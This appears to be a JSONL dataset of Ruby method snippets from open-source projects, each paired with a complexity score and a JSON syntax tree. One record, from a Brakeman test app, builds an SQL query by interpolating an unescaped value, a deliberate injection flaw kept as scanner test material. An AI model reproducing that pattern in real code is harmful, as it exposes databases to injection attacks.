{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/models/user.rb","start_line":25,"raw_source":"def self.some_method(value)\n    results = ActiveRecord::Base.connection.execute(%Q(SELECT\n        id\n      FROM\n        table t\n      WHERE\n        t.something = '#{value}'))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"some_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"        id\\n\"]},{\"type\":\"str\",\"children\":[\"      FROM\\n\"]},{\"type\":\"str\",\"children\":[\"        table t\\n\"]},{\"type\":\"str\",\"children\":[\"      WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"        t.something = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"79e9acc2-aa7b-44a5-a52e-b2111a8ec731"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/krb_error.rb","start_line":173,"raw_source":"def decode_cusec(input)\n            input.value[0].value\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_cusec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}","id":"71a52677-7338-495d-b907-51294b1dda7a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/base_controller.rb","start_line":21,"raw_source":"def status\n    respond_to do |format|\n      format.json do\n        render json: { imported_projects: serialized_imported_projects,\n                       provider_repos: serialized_provider_repos,\n                       incompatible_repos: serialized_incompatible_repos }\n      end\n      format.html do\n        if params[:namespace_id].present?\n          @namespace = Namespace.find_by_id(params[:namespace_id])\n\n          render_404 unless current_user.can?(:import_projects, @namespace)\n        end\n      end\n    end\n  end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_projects\"]},{\"type\":\"send\",\"children\":[null,\"serialized_imported_projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider_repos\"]},{\"type\":\"send\",\"children\":[null,\"serialized_provider_repos\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"incompatible_repos\"]},{\"type\":\"send\",\"children\":[null,\"serialized_incompatible_repos\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"import_projects\"]},{\"type\":\"ivar\",\"children\":[\"@namespace\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]},null]}]}]}]}]}","id":"16816357-eda1-48bb-99e6-778ffb4056c8"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/filter_test.rb","start_line":181,"raw_source":"def test_local_filter_with_deprecated_syntax\n    assert_equal(\" 1000$ CAD \", Template.parse(\"{{1000 | money}}\").render!(nil, CanadianMoneyFilter))\n    assert_equal(\" 1000$ CAD \", Template.parse(\"{{1000 | money}}\").render!(nil, [CanadianMoneyFilter]))\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_local_filter_with_deprecated_syntax\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\" 1000$ CAD \"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{1000 | money}}\"]}]},\"render!\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"const\",\"children\":[null,\"CanadianMoneyFilter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\" 1000$ CAD \"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{1000 | money}}\"]}]},\"render!\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CanadianMoneyFilter\"]}]}]}]}]}]}","id":"08ee176f-64d2-4b9a-addb-c4cd67cb7527"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/bool_strategy.rb","start_line":42,"raw_source":"def formatted_value\n    if checked?\n      I18n.t(:general_text_Yes)\n    else\n      I18n.t(:general_text_No)\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checked?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"general_text_Yes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"general_text_No\"]}]}]}]}","id":"e0437aee-52cc-4421-a43d-77a84abcf568"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_adapter/ar_dba.rb","start_line":18,"raw_source":"def xlog_location_diff(lsn1, lsn2)\n    select_value(\"SELECT pg_wal_lsn_diff(#{quote(lsn1)}, #{quote(lsn2)})\").to_i\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"xlog_location_diff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lsn1\"]},{\"type\":\"arg\",\"children\":[\"lsn2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT pg_wal_lsn_diff(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"lsn1\"]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote\",{\"type\":\"lvar\",\"children\":[\"lsn2\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"to_i\"]}]}","id":"dbdcbee6-9879-43d7-a3a4-8aa80dc8ea94"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/composer_controller.rb","start_line":124,"raw_source":"def is_user_allowed?(user, user_ids, group_ids)\n    user_ids.include?(user.id) || user.group_ids.any? { |group_id| group_ids.include?(group_id) }\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"is_user_allowed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"user_ids\"]},{\"type\":\"arg\",\"children\":[\"group_ids\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"group_ids\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]}]}","id":"a3219b43-acaf-47a4-b595-de88534be869"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/axis_local_file_include.rb","start_line":59,"raw_source":"def report_cred(opts)\n    service_data = {\n      address: opts[:ip],\n      port: opts[:port],\n      service_name: (ssl ? 'https' : 'http'),\n      protocol: 'tcp',\n      workspace_id: myworkspace_id\n    }\n\n    credential_data = {\n      origin_type: :service,\n      module_fullname: fullname,\n      username: opts[:user],\n      private_data: opts[:password],\n      private_type: :password\n    }.merge(service_data)\n\n    login_data = {\n      last_attempted_at: DateTime.now,\n      core: create_credential(credential_data),\n      status: Metasploit::Model::Login::Status::SUCCESSFUL,\n      proof: opts[:proof]\n    }.merge(service_data)\n\n    create_credential_login(login_data)\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"0d9992e0-2446-474d-8d09-785516722cd0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":112,"raw_source":"def test_remove_index_when_name_and_wrong_column_name_specified\n      index_name = \"accounts_idx\"\n\n      @connection.add_index :accounts, :firm_id, name: index_name\n      assert_raises ArgumentError do\n        @connection.remove_index :accounts, name: index_name, column: :wrong_column_name\n      end\n    ensure\n      @connection.remove_index(:accounts, name: index_name)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_index_when_name_and_wrong_column_name_specified\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_name\",{\"type\":\"str\",\"children\":[\"accounts_idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"firm_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"wrong_column_name\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}]}]}]}","id":"ee8ba579-c4bd-4e4f-9343-67a81b38db5d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":111,"raw_source":"def test_schema_dump_includes_not_null_columns\n    output = dump_all_table_schema([/^[^r]/])\n    assert_match %r{null: false}, output\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_includes_not_null_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_all_table_schema\",{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[^r]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"null: false\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"242e0357-b97b-4ff7-9862-85f04ef93a3e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/appaloosa.rb","start_line":238,"raw_source":"def self.invalid_response?(url_for_download_response)\n        url_for_download_response.kind_of?(Net::HTTPNotFound) ||\n          url_for_download_response.kind_of?(Net::HTTPForbidden)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invalid_response?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url_for_download_response\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_for_download_response\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPNotFound\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_for_download_response\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTPForbidden\"]}]}]}]}","id":"f758cdd6-b64e-4d45-8b5e-e5d271983a33"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/extensions/topic_extension.rb","start_line":31,"raw_source":"def last_answered_at\n      return if answers.blank?\n\n      answers.last[:created_at]\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"last_answered_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"answers\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"answers\"]},\"last\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}","id":"30561284-7f59-40cf-bbf5-30a647581055"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":513,"raw_source":"def action_code_who\n    post_custom_fields[\"action_code_who\"]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"action_code_who\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_custom_fields\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_code_who\"]}]}]}","id":"3e207551-18f5-45f8-9cef-a3fc3950b524"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/serializable.rb","start_line":63,"raw_source":"def attributes_hash\n        self.class.filter_params.inject({}) do |params, param_field|\n          params.merge(param_field => send(param_field))\n        end\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"filter_params\"]},\"inject\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"param_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_field\"]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"param_field\"]}]}]}]}]}]}]}","id":"75cff4c1-0861-4e67-9527-c4a79789caea"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/category_users.rb","start_line":45,"raw_source":"def transform_row(row)\n      category_id = row[:discourse_category_id]\n      user_id = row[:discourse_user_id]\n\n      return nil unless @existing_category_users[category_id].add?(user_id)\n\n      row[:category_id] = category_id\n      row[:user_id] = user_id\n      row[:notification_level] = ensure_valid_value(\n        value: row[:notification_level],\n        allowed_set: VALID_NOTIFICATION_LEVELS,\n        default_value: DEFAULT_NOTIFICATION_LEVEL,\n      )\n\n      super\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"discourse_category_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"discourse_user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_category_users\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},\"add?\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"send\",\"children\":[null,\"ensure_valid_value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notification_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_set\"]},{\"type\":\"const\",\"children\":[null,\"VALID_NOTIFICATION_LEVELS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_NOTIFICATION_LEVEL\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"600e0712-1efd-4475-a2fe-b019930e8d75"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/tokens_controller.rb","start_line":136,"raw_source":"def refresh_token\n      token = Doorkeeper.config.access_token_model.by_refresh_token(params[\"token\"])\n      return unless token\n\n      RevocableTokens::RevocableRefreshToken.new(token)\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"access_token_model\"]},\"by_refresh_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RevocableTokens\"]},\"RevocableRefreshToken\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}","id":"96c83a14-66cb-45e3-a9ea-30a6856cefc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/pipelines_controller_spec.rb","start_line":284,"raw_source":"def get_pipeline_html\n      get :show, params: { namespace_id: project.namespace, project_id: project, id: pipeline }, format: :html\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_pipeline_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}","id":"60a92211-6765-448a-b1f9-9b7df753e4c7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":526,"raw_source":"def test_empty_yaml_fixture_with_a_comment_in_it\n    assert_not_nil ActiveRecord::FixtureSet.new(nil, \"companies\", Company, FIXTURES_ROOT + \"/naked/yml/companies\")\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_empty_yaml_fixture_with_a_comment_in_it\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FixtureSet\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"companies\"]},{\"type\":\"const\",\"children\":[null,\"Company\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURES_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/naked/yml/companies\"]}]}]}]}]}","id":"02ff0738-743d-450a-ab28-7b4348b4b161"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/custom_fields/hierarchy/delete_item_dialog_component.rb","start_line":45,"raw_source":"def form_arguments\n          {\n            action: custom_field_item_path(custom_field_id: @custom_field.id, id: @hierarchy_item.id),\n            method: :delete\n          }\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"form_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[null,\"custom_field_item_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_field\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hierarchy_item\"]},\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"delete\"]}]}]}]}","id":"64a94de5-d2c2-4fe9-982e-dd686dd4de29"}
